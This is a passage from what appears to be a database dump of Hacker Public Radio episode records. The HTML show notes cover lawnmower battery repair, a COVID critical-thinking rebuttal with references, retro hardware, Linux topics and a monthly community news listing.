id=\"conclusion\">Conclusion</h1>\r\n<p>The batteries are currently charging. The red charging light did come on when I plugged in the 24V DC charger, and nothing has exploded yet, so I am optimistic I will be able to use the mower again shortly.</p>\r\n<h1 id=\"references\">References</h1>\r\n<ul>\r\n<li>Neuton CE5.4 24 volt rechargeable battery CASE ONLY - <a href=\"https://www.ebay.com/itm/114952181341\">EBay item</a></li>\r\n<li>Mighty Max Battery 12V 10AH Replaces HE12V127 HGL1012 LCRB1210P NEUTON CE5 POWPS12100 Battery - 2 Pack Brand Product - <a href=\"https://www.amazon.com/gp/product/B00K9713L4/ref=ppx_od_dt_b_asin_title_s00?ie=UTF8&amp;psc=1\">Amazon item</a></li>\r\n</ul>\r\n<h1 id=\"attribution\">Attribution</h1>\r\n<p>The transition sound used between audio clips is found on <a href=\"https://freesound.org/\">freesound.org</a>:<br />\r\nName: <a href=\"https://freesound.org/people/DanJFilms/sounds/529064/\">Harp Transition Music Cue</a><br />\r\nAuthor: <a href=\"https://freesound.org/people/DanJFilms/\">DanJFilms</a><br />\r\nLicense: <a href=\"https://creativecommons.org/publicdomain/zero/1.0/\">Creative Commons Zero</a></p>\r\n',293,0,0,'CC-BY-SA','electric lawnmower,lawnmower,rechargeable battery',0,0,1),
(3445,'2021-10-15','True critical thinking seems to be the key',4328,'A response to HPR 3414','<hr>\r\n<h3>Counter Point</h3>\r\n<p>This show is a counter point to: <a href=\"https://hackerpublicradio.org/eps.php?id=3414\">hpr3414 :: Critical Thinking may make You Critical of the Covid Crisis</a>\r\n</p>\r\n<hr />\r\n<h2 id=\"a-response-to-critical-thinking-may-make-you-critical-of-the-covid-crisis\">A response to <em>Critical Thinking may make You Critical of the Covid Crisis</em></h2>\r\n<p><strong>(HPR episode 3414, produced by CoGo and released on 2021-09-02)</strong></p>\r\n<h2 id=\"defining-terms\">Defining terms</h2>\r\n<ul>\r\n<li>What is <em>Critical Thinking</em>?\r\n<ul>\r\n<li>The Wikipedia definition begins: \"<em>Critical thinking is the analysis of facts to form a judgment.</em>\"</li>\r\n<li>It goes on to say: \"<em>The subject is complex, and several different definitions exist, which generally include the rational, skeptical, unbiased analysis, or evaluation of factual evidence.</em>\"</li>\r\n<li>See the references below.</li>\r\n</ul></li>\r\n</ul>\r\n<blockquote>\r\n<p>Note the use of the terms <strong>fact</strong>, <strong>factual evidence</strong> and <strong>unbiased analysis</strong>. It is my contention that HPR episode 3414 fails in these regards in several places.</p>\r\n</blockquote>\r\n<ul>\r\n<li>What is an \"<em>experiment</em>\"?\r\n<ul>\r\n<li>Wikipedia’s definition begins: \"<em>An experiment is a procedure carried out to support or refute a hypothesis. Experiments provide insight into cause-and-effect by demonstrating what outcome occurs when a particular factor is manipulated.</em>\"</li>\r\n</ul></li>\r\n</ul>\r\n<blockquote>\r\n<p>The term <strong>experiment</strong> is often used incorrectly in episode 3414. A better term would be <strong>observation</strong> or <strong>anecdote</strong></p>\r\n</blockquote>\r\n<ul>\r\n<li>The virus:\r\n<ul>\r\n<li>The virus is a <em>coronavirus</em>. There are many viruses classified in this way.</li>\r\n<li>The name of the virus is <em>SARS-CoV-2</em>. The <em>SARS</em> part stands for <em>Severe Acute Respiratory Syndrome</em>, the type of disease caused by the virus. <em>CoV</em> signifies that it is a <em>coronavirus</em> and the <em>2</em> means it’s the second SARS-type corona virus to have caused problems in the recent past. The other one, just called <em>SARS</em> occurred in 2003.</li>\r\n<li>The name of the disease caused by SARS-CoV-2 is <em>COVID-19</em>. The letters <em>COVID</em> define it as a coronavirus disease. The <em>19</em> part is because it was first discovered in 2019.</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li><strong>References</strong>:\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Critical_thinking\" title=\"Wikipedia article: Critical thinking\">Wikipedia article on Critical Thinking</a></li>\r\n<li><a href=\"https://www.gre.ac.uk/articles/ils/critical-thinking\" title=\"University of Greenwich article. What is critical thinking?\">University of Greenwich: What is critical thinking?</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Experiment\" title=\"Wikipedia article: Experiment\">Wikipedia article on Experiments</a></li>\r\n</ul></li>\r\n</ul>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>Follow this link to <a href=\"https://hackerpublicradio.org/eps/hpr3445/full_shownotes.html\">read the detailed notes</a> associated with this episode.</p>\r\n<h2 id=\"collected-references\">Collected references:</h2>\r\n<ol type=\"1\">\r\n<li>Wikipedia article: Critical thinking:\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Critical_thinking\">https://en.wikipedia.org/wiki/Critical_thinking</a></li>\r\n</ul></li>\r\n<li>University of Greenwich article. What is critical thinking?:\r\n<ul>\r\n<li><a href=\"https://www.gre.ac.uk/articles/ils/critical-thinking\">https://www.gre.ac.uk/articles/ils/critical-thinking</a></li>\r\n</ul></li>\r\n<li>Wikipedia article: Experiment:\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Experiment\">https://en.wikipedia.org/wiki/Experiment</a></li>\r\n</ul></li>\r\n<li>Where does the six-foot guideline for social distancing come from?:\r\n<ul>\r\n<li><a href=\"https://qz.com/1831100/where-does-the-six-feet-social-distancing-guideline-come-from/\">https://qz.com/1831100/where-does-the-six-feet-social-distancing-guideline-come-from/</a></li>\r\n</ul></li>\r\n<li>Wikipedia article: Social distancing:\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Social_distancing\">https://en.wikipedia.org/wiki/Social_distancing</a></li>\r\n</ul></li>\r\n<li>How effective is a mask in preventing COVID‐19 infection?:\r\n<ul>\r\n<li><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7883189/\">https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7883189/</a></li>\r\n</ul></li>\r\n<li>Why Masks Work BETTER Than You’d Think:\r\n<ul>\r\n<li><a href=\"https://www.youtube.com/watch?v=Y47t9qLc9I4\">https://www.youtube.com/watch?v=Y47t9qLc9I4</a></li>\r\n</ul></li>\r\n<li>Coronavirus disease (COVID-19): Ventilation and air conditioning:\r\n<ul>\r\n<li><a href=\"https://www.who.int/news-room/q-a-detail/coronavirus-disease-covid-19-ventilation-and-air-conditioning\">https://www.who.int/news-room/q-a-detail/coronavirus-disease-covid-19-ventilation-and-air-conditioning</a></li>\r\n</ul></li>\r\n<li>Ventilation and air conditioning during the coronavirus (COVID-19) pandemic:\r\n<ul>\r\n<li><a href=\"https://www.hse.gov.uk/coronavirus/equipment-and-machinery/air-conditioning-and-ventilation/index.htm\">https://www.hse.gov.uk/coronavirus/equipment-and-machinery/air-conditioning-and-ventilation/index.htm</a></li>\r\n</ul></li>\r\n<li>False Perception of COVID-19’s Impact on the Homeless:\r\n<ul>\r\n<li><a href=\"https://www.factcheck.org/2020/05/false-perception-of-covid-19s-impact-on-the-homeless/\">https://www.factcheck.org/2020/05/false-perception-of-covid-19s-impact-on-the-homeless/</a></li>\r\n</ul></li>\r\n<li>Vitamin D3 as Potential Treatment Adjuncts for COVID-19:\r\n<ul>\r\n<li><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7697253/\">https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7697253/</a></li>\r\n</ul></li>\r\n<li>Graphic Outbreak of severe acute respiratory syndrome in Hong Kong Special Administrative Region: case report:\r\n<ul>\r\n<li><a href=\"https://www.bmj.com/content/326/7394/850\">https://www.bmj.com/content/326/7394/850</a></li>\r\n</ul></li>\r\n<li>Response to - Graphic Outbreak of severe acute respiratory syndrome in Hong Kong Special Administrative Region: case report:\r\n<ul>\r\n<li><a href=\"https://www.bmj.com/rapid-response/2011/10/29/coronavirus-may-be-killed-higher-body-temperature\">https://www.bmj.com/rapid-response/2011/10/29/coronavirus-may-be-killed-higher-body-temperature</a></li>\r\n</ul></li>\r\n<li>Childhood Vaccination and the NHS:\r\n<ul>\r\n<li><a href=\"https://peopleshistorynhs.org/encyclopaedia/childhood-vaccination-and-the-nhs/\">https://peopleshistorynhs.org/encyclopaedia/childhood-vaccination-and-the-nhs/</a></li>\r\n</ul></li>\r\n<li>COVID-19 false dichotomies and a comprehensive review of the evidence regarding public health, COVID-19 symptomatology, SARS-CoV-2 transmission, mask wearing, and reinfection:\r\n<ul>\r\n<li><a href=\"https://bmcinfectdis.biomedcentral.com/articles/10.1186/s12879-021-06357-4\">https://bmcinfectdis.biomedcentral.com/articles/10.1186/s12879-021-06357-4</a></li>\r\n</ul></li>\r\n<li>Coronavirus (COVID-19) vaccines side effects and safety:\r\n<ul>\r\n<li><a href=\"https://www.nhs.uk/conditions/coronavirus-covid-19/coronavirus-vaccination/safety-and-side-effects/\">https://www.nhs.uk/conditions/coronavirus-covid-19/coronavirus-vaccination/safety-and-side-effects/</a></li>\r\n</ul></li>\r\n<li>TWiV 802: \"Another epitope with Shane Crotty\":\r\n<ul>\r\n<li><a href=\"https://www.youtube.com/watch?v=nEB4oxO9F1A\">https://www.youtube.com/watch?v=nEB4oxO9F1A</a></li>\r\n</ul></li>\r\n<li>UK parliament discussion on 2m rule.\r\n<ul>\r\n<li><a href=\"https://hansard.parliament.uk/Commons/2020-06-15/debates/AE7AB431-1668-4AAA-AA32-8A0B83124D30/details\">https://hansard.parliament.uk/Commons/2020-06-15/debates/AE7AB431-1668-4AAA-AA32-8A0B83124D30/details</a></li>\r\n</ul></li>\r\n<li>Government minister retracts mask claim.\r\n<ul>\r\n<li><a href=\"https://www.holyrood.com/news/view,john-swinney-apologises-for-sharing-covid-face-mask-graphic\">https://www.holyrood.com/news/view,john-swinney-apologises-for-sharing-covid-face-mask-graphic</a></li>\r\n</ul></li>\r\n<li>Nature paper on masks and aerosols.\r\n<ul>\r\n<li><a href=\"https://www.nature.com/articles/s41598-020-72798-7\">https://www.nature.com/articles/s41598-020-72798-7</a></li>\r\n</ul></li>\r\n<li>Our World in Data.\r\n<ul>\r\n<li><a href=\"https://ourworldindata.org/covid-cases\">https://ourworldindata.org/covid-cases</a></li>\r\n</ul></li>\r\n<li>Nature paper on COVID-19 and T cells.\r\n<ul>\r\n<li><a href=\"https://www.nature.com/articles/s41586-020-2550-z\">https://www.nature.com/articles/s41586-020-2550-z</a></li>\r\n</ul></li>\r\n<li>Antibody waning and COVID-19.\r\n<ul>\r\n<li><a href=\"https://www.ouh.nhs.uk/covid-19/news/article.aspx?id=1415\">https://www.ouh.nhs.uk/covid-19/news/article.aspx?id=1415</a></li>\r\n</ul></li>\r\n</ol>\r\n',225,100,1,'CC-BY-SA','COVID-19,social distancing,masks,aerosol,Vitamin D3,body temperature,vaccines',0,0,1),
(3444,'2021-10-14','The Psion series 5mx',1178,'A show where I talk about my experiences of the Psion 5mx, a portable computer from the late 90s','<p>The psion series 5mx is a portable computer from the late 90s, here\'s my episode talking about it.</p>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Psion_Series_5\" class=\"uri\">https://en.wikipedia.org/wiki/Psion_Series_5</a></li>\r\n<li>PLPTools (syncing with modern linux): <a href=\"https://github.com/rrthomas/plptools\" class=\"uri\">https://github.com/rrthomas/plptools</a></li>\r\n<li>Nconvert (file converter): <a href=\"https://web.archive.org/web/20161130192611/https://neuon.com/downloads/nconvert/\" class=\"uri\">https://web.archive.org/web/20161130192611/https://neuon.com/downloads/nconvert/</a></li>\r\n<li>Programming book: <a href=\"https://archive.org/details/book_20210531\" class=\"uri\">https://archive.org/details/book_20210531</a></li>\r\n<li>psion linux SDK: <a href=\"https://github.com/static-void/psion_cpp_sdk_linux.git\" class=\"uri\">https://github.com/static-void/psion_cpp_sdk_linux.git</a></li>\r\n<li>Eric Lindsey\'s site, with lots of psion software: <a href=\"https://ericlindsay.com/epoc/index.htm\" class=\"uri\">https://ericlindsay.com/epoc/index.htm</a></li>\r\n</ul>\r\n<p>Apologies for talking quickly!</p>',381,0,0,'CC-BY-SA','retro, psion, programming, pdas',0,0,1),
(3452,'2021-10-26','Neuton battery test',324,'Rho`n describes testing the battery in his Neuton EM 4.1 electric lawn mower','<h2 id=\"introduction\">Introduction</h2>\r\n<p>On today\'s show I test whether the battery replacement for my Neuton mower is a success. This is a follow up to <a href=\"https://hackerpublicradio.org/eps.php?id=3443\">episode 3443</a>. After some audio recording difficulties with the blue tooth headset I used with my phone, we hear if the replacement was successful. Before I could test the battery, I needed to replace the mower key. I think it would have been simple to just jump the terminals with a wire and maybe some alligator clips to hold the wire to the key terminals, but I was worried this would not guarantee the wire shaking loose as I moved. I looked on EBay and found a replacement key for about fifteen dollars US, and decided it was worth the cost and the wait before trying out the mower.</p>\r\n<h2 id=\"testing-the-mower\">Testing the mower</h2>\r\n<p>After putting the key in the mower, pulling and holding the safety levers, and then pressing the start button. The mower wouldn\'t start. I checked the key was set properly, and saw the green LED on the handle lit and indicating that power was available. I pulled the key and battery out, and then reseated both of them, checking once again that the power indicator was lit. After some fooling around with the safety levers and start button, I realized you had to push the start button and then pull and hold the safety levers for the mower to start. The mower runs well, and the cost of the batteries and key will even out over time from the savings on not paying for a lawn service.</p>\r\n<h2 id=\"references\">References</h2>\r\n<ul>\r\n<li>DR Neuton Cordless Walk Behind 14\" Lawn Mower CE2 CE3 CE5 Reset Security Key - <a href=\"https://www.ebay.com/itm/184176055409?ViewItem=&amp;item=184176055409\">EBay item</a></li>\r\n</ul>\r\n<h2 id=\"attribution\">Attribution</h2>\r\n<p>The transition sound used between audio clips is found on <a href=\"https://freesound.org/\">freesound.org</a>:<br />\r\nName: <a href=\"https://freesound.org/people/DanJFilms/sounds/529064/\">Harp Transition Music Cue</a><br />\r\nAuthor: <a href=\"https://freesound.org/people/DanJFilms/\">DanJFilms</a><br />\r\nLicense: <a href=\"https://creativecommons.org/publicdomain/zero/1.0/\">Creative Commons Zero</a></p>',293,0,0,'CC-BY-SA','electric lawnmower,lawnmower,rechargeable battery',0,0,1),
(3447,'2021-10-19','BlacKernel\'s Journey Into Technology: Episode 2',1249,'In which BlacKernel struggles to talk about Windows','<h2>Talking Points</h2>\r\n<ul>\r\n	<li>W*ndows Power User\r\n	<ul>\r\n		<li>Programmed a few Visual BASIC programs, but was underwhelmed with how BASIC the programming language was</li>\r\n		<li>Tried installing Python and Ruby to much frustration</li>\r\n		<li>Tried installing Cygw*n to make Python/Ruby easier to work with</li>\r\n		<li>Read on the Cygw*n site about something called <b><a href=\"#show-notes\">Linux</a></b></li>\r\n		<li>Started working with C and C++</li>\r\n	</ul></li>\r\n	<li>Customizing my deck\r\n	<ul>\r\n		<li>Tried to customize as much as I could about my W*ndows install</li>\r\n		<li>Utilized tools to change the boot logo, the start menu, the init scripts, etc.</li>\r\n		<li>Hit a few snags with problems boot-looping, not loading graphically, etc</li>\r\n		<li>Tried editing the W*ndows registry and realized that the programs I was using to edit the operating system necessarily break the security and stability of the OS</li>\r\n		<li>Didn\'t really know/care about open source, but was getting frustrated that I wasn\'t able to just reach in to my system\'s code to fix it.</li>\r\n	</ul></li>\r\n</ul>\r\n\r\n<hr>\r\n\r\n<h2 id=\"show-notes\">Show Notes</h2>\r\n<h4>Important Links:</h4>\r\n<ul>\r\n	<li>I couldn\'t really find any of the stuff that I used and, at this point, I\'m not super motivated to find them.</li>\r\n</ul>\r\n\r\n<h4>Wikipedia Articles:</h4>\r\n<ul>\r\n	<li><a href=\"https://en.wikipedia.org/wiki/Thomas_Hobbes\">https://en.wikipedia.org/wiki/Thomas_Hobbes</a></li>\r\n</ul>\r\n\r\n\r\n<hr>\r\n\r\n<i>Contact Me</i>\r\n<ul>\r\n<li><b>Email: </b><a href=\"mailto:izzyleibowitz@pm.me\">izzyleibowitz at pm dot me</a></li>\r\n<li><b>Mastodon: </b><a href=\"https://nixnet.social/BlacKernel\">at blackernel at nixnet dot social</a></li>\r\n</ul>\r\n\r\n',396,0,1,'CC-BY-SA','technology, windows, w*ndows, losedows, introductions, linux, dos',0,0,1),
(3449,'2021-10-21','Linux Inlaws S01E41: The Halloween Documents',3956,'The Halloween Documents','<p>In this infomercial on Microsoft, our hosts discuss the infamous Halloween\r\ndocuments (\'tis the season after all), a set of ancient scrolls dating back\r\nmore than twenty years and giving an overview of the behemoth\'s then strategy\r\non open source and how to possibly combat it. But fear not, ye of little faith\r\n:-), all is well now as the episode shows also the long way Microsoft has come\r\nsince then and its adoption (and giving back!) as an enterprise technology.</p>\r\n\r\n<p>Plus: How to increase your market cap by using FLOSS. And last but not least:\r\nThe Dark Side is back by popular demand!  With a special episode on the usual\r\nHalloween stuff including vampires, Transylvania, politicians, QAnon, Zoom,\r\nTeams and other horror topics (Ever wondered what happened to Angela Merkel\r\nafter she stepped down as Germany\'s chancelorette in 2021? Then don\'t miss out\r\non this episode!).</p>\r\n\r\n<h2>Links:</h2>\r\n<ul>\r\n<li>Little Britain: <a href=\"https://www.bbc.co.uk/programmes/b006q2zd\" target=_blank>https://www.bbc.co.uk/programmes/b006q2zd</a></li>\r\n<li>SCO Group: <a href=\"https://en.wikipedia.org/wiki/SCO_Group\" target=_blank>https://en.wikipedia.org/wiki/SCO_Group</a></li>\r\n<li>SCO vs. IBM: <a href=\"https://en.wikipedia.org/wiki/SCO_Group,_Inc._v._International_Business_Machines_Corp.\" target=_blank>https://en.wikipedia.org/wiki/SCO_Group,_Inc._v._International_Business_Machines_Corp.</a></li>\r\n<li>Halloween documents: <a href=\"https://en.wikipedia.org/wiki/Halloween_documents\" target=_blank>https://en.wikipedia.org/wiki/Halloween_documents</a></li>\r\n<li>Microsoft and open source: <a href=\"https://en.wikipedia.org/wiki/Microsoft_and_open_source\" target=_blank>https://en.wikipedia.org/wiki/Microsoft_and_open_source</a></li>\r\n<li>Monsters of Man: <a href=\"https://www.imdb.com/title/tt6456326\" target=_blank>https://www.imdb.com/title/tt6456326</a></li>\r\n<li>Breeders: <a href=\"https://en.wikipedia.org/wiki/Breeders_(TV_series)\" target=_blank>https://en.wikipedia.org/wiki/Breeders_(TV_series)</a></li>\r\n<li>Permanent penis for the Welsh Dragon: <a href=\"https://www.dailymail.co.uk/news/article-9932657/Hilarious-campaigners-demand-famous-red-dragon-given-permanent-penis-Welsh-flags.html\" target=_blank>https://www.dailymail.co.uk/news/article-9932657/Hilarious-campaigners-demand-famous-red-dragon-given-permanent-penis-Welsh-flags.html</a></li>\r\n</ul>\r\n',384,111,1,'CC-BY-SA','Microsoft, Google, The Dark Side, Halloween, Transylvania, Carmesine-colored Soy Milk, vegan vampire',0,0,1),
(3471,'2021-11-22','The Sony Walkman WM-F41',531,'A quick talk about one of my favorite Legacy Audio devices, a genuine Sony FM/AM cassette Walkman.','<p>This episode is just a quick talk about one of my favorite legacy audio devices, my Sony FM/AM cassette Walkman, model WM-F41.</p>\r\n\r\n\r\n<h2>Links</h2>\r\n\r\n<ul>\r\n<li><a href=\"https://retrospekt.com/products/sony-walkman-wm-f31-f41\">Sony Walkman WM-F41</a></li>\r\n<li><a href=\"https://www.behringer.com/product.html?modelCode=P0576\">Behringer Xenyx 502 Mixer</a></li>\r\n<li>Music is from Kimiko Ishizaka\'s <em>The Open Art of Fugue</em>: <a href=\"https://music.kimiko-piano.com/album/j-s-bach-the-art-of-the-fugue-kunst-der-fuge-bwv-1080\">https://music.kimiko-piano.com/album/j-s-bach-the-art-of-the-fugue-kunst-der-fuge-bwv-1080</a>, used by permission of its <a href=\"https://creativecommons.org/publicdomain/zero/1.0/\">CC0 1.0 Universal (CC0 1.0) Public Domain Dedication license</a>.</li>\r\n</ul>\r\n\r\n',238,0,0,'CC-BY-SA','audio, vintage audio, cassette tapes, tape players, portable stereos, audio repair',0,0,1),
(3468,'2021-11-17','Distro upgrade intervals on my Raspberry Pi',786,'In this episode I discuss Debian distro upgrade intervals for my raspberry Pi','<h2 id=\"a-discussion-about-debian-lts-distro-upgrade-intervals-on-my-raspberry-pi\">A discussion about Debian LTS distro upgrade intervals on my Raspberry Pi</h2>\r\n<h3 id=\"relevant-links-below\">Relevant links below</h3>\r\n<p><a href=\"https://wiki.debian.org/DebianReleases\">Debian release information</a></p>\r\n<p><a href=\"https://hackerpublicradio.org/eps.php?id=3266\">My previous episode from last year where I covered the upgrade on my raspberry Pi from Debian Jessie 8 to Stretch 9</a></p>\r\n<p><a href=\"https://hackerpublicradio.org/eps.php?id=2901\">A previous episode where I describe my raspberry Pi add-on board and what I use it for</a></p>\r\n',201,0,1,'CC-BY-SA','Linux, Distros, Raspberry Pi, Debian',0,0,1),
(3741,'2022-12-05','HPR Community News for November 2022',3276,'HPR Volunteers talk about shows released and comments posted in November 2022','<style>\ntable td.shrink {\n    white-space:nowrap\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new host: <br />\n\n    <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=414\" target=\"_blank\">Kinghezy</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3717\" target=\"_blank\">3717</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-11-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3717\" target=\"_blank\">Video editing with Shotcut on a low end PC</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3718\" target=\"_blank\">3718</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-11-02</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3718\" target=\"_blank\">Making Ansible playbooks to configure Single Sign On for popular open source applications</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=369\" target=\"_blank\">Jeroen Baten</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3719\" target=\"_blank\">3719</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-11-03</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3719\" target=\"_blank\">HPR News</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3720\" target=\"_blank\">3720</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-11-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3720\" target=\"_blank\">Practicing Batch Files With ECHO</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3721\" target=\"_blank\">3721</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-11-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3721\" target=\"_blank\">HPR Community News for October 2022</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3722\" target=\"_blank\">3722</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-11-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3722\" target=\"_blank\">Bash snippet - plurals in messages</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3723\" target=\"_blank\">3723</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-11-09</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3723\" target=\"_blank\">HPR News</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3724\" target=\"_blank\">3724</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-11-10</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3724\" target=\"_blank\">My top Android apps</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3725\" target=\"_blank\">3725</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-11-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3725\" target=\"_blank\">How to use OSMAnd with Public Transport </a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3726\" target=\"_blank\">3726</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-11-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3726\" target=\"_blank\">Breaches ever reaching</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=405\" target=\"_blank\">Lurking Prion</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3727\" target=\"_blank\">3727</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-11-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3727\" target=\"_blank\">Expanding your filesystem with LVM</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=293\" target=\"_blank\">Rho`n</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3728\" target=\"_blank\">3728</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-11-16</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3728\" target=\"_blank\">Pinebook Pro review</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=406\" target=\"_blank\">binrc</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3729\" target=\"_blank\">3729</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-11-17</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3729\" target=\"_blank\">Contributing to SuperTuxKart</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=407\" target=\"_blank\">Celeste</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3730\" target=\"_blank\">3730</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-11-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3730\" target=\"_blank\">Into Arizona</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3731\" target=\"_blank\">3731</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-11-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3731\" target=\"_blank\">Speech recognition in Kdenlive</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=399\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3732\" target=\"_blank\">3732</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2022-11-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3732\" target=\"_blank\">My experience owning an Atari Jaguar</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=412\" target=\"_blank\">m0dese7en</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3733\" target=\"_blank\">3733</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2022-11-23</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3733\" target=\"_blank\">Smite</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=391\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3734\" target=\"_blank\">3734</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2022-11-24</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3734\" target=\"_blank\">Inetd: the internet super-server</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=406\" target=\"_blank\">binrc</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3735\" target=\"_blank\">3735</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2022-11-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3735\" target=\"_blank\">i3 Tiling Window Manager</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=318\" target=\"_blank\">Archer72</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3736\" target=\"_blank\">3736</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2022-11-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps.php?id=3736\" target=\"_blank\">Metasyntactic words</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">Klaatu</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=3737\" target=\"_blank\">3737</a></strong></td>\n<td>Tue</td>\n<td 